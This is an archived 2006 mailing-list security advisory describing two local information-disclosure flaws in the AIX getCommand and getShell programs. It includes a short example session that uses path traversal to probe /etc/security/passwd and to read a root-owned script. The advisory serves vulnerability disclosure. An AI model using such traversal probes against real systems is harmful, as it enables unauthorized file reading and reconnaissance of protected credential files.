The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[UNIX] AIX getCommand and getShell Vulnerabilities


<< Previous INDEX Search src / Print Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 2 Jan 2006 12:20:01 +0200
Subject: [UNIX] AIX getCommand and getShell Vulnerabilities
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060102104159.BEDAE574D@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  AIX getCommand and getShell Vulnerabilities
------------------------------------------------------------------------


SUMMARY

 <http://www.ibm.com/servers/aix/>; AIX "(Advanced Interactive Executive) 
is a proprietary operating system developed by IBM based on UNIX System 
V". XFocus has discovered two vulnerabilities in the getCommand and 
getShell programs that allows local attackers to determine whether a 
certain file exist and also gain partial understanding to directory 
structures.

DETAILS

Vulnerable Systems:
 * AIX version 5.3 ml03 (other versions suspected)

 <http://www.xfocus.org>; XFOCUS had already discovered some 
vulnerabilities in getCommand and getShell.

After apply newest patch, getCommand and getShell still have two 
vulnerabilities:
1: An attacker can determine file be exist or not
2: An attacker can read any shell document (even if doesn't have 
permissions to read the file) as well as execute 'cd' operations and gain 
access to partial information.

Examples:
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aa
fopen:  No such file or directory
-bash-3.00$ ls -ld /etc/security/
drwxr-x--- 4 root security 512  2005-12-22 21:09 /etc/security/
-bash-3.00$ ls -l /tmp/k.sh
-rwx------ 1 root system 79 2005-12-22 23:40 /tmp/k.sh
-bash-3.00$./getCommand.new ../../../../../tmp/k.sh

ps -ef > /tmp/log. $$
grep test /tmp/log.
$$ rm /tmp/log. $$

-bash-3.00$

Disclosure Timeline:
 * 26.12.05 - Initial vendor notification
 * 01.01.06 - Public disclosure (vendor not reply)


ADDITIONAL INFORMATION

The information has been provided by  <mailto:security@xfocus.org.> XFOCUS 
Security Team.
The original article can be found at:  <http://www.xfocus.org>; 
http://www.xfocus.org




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру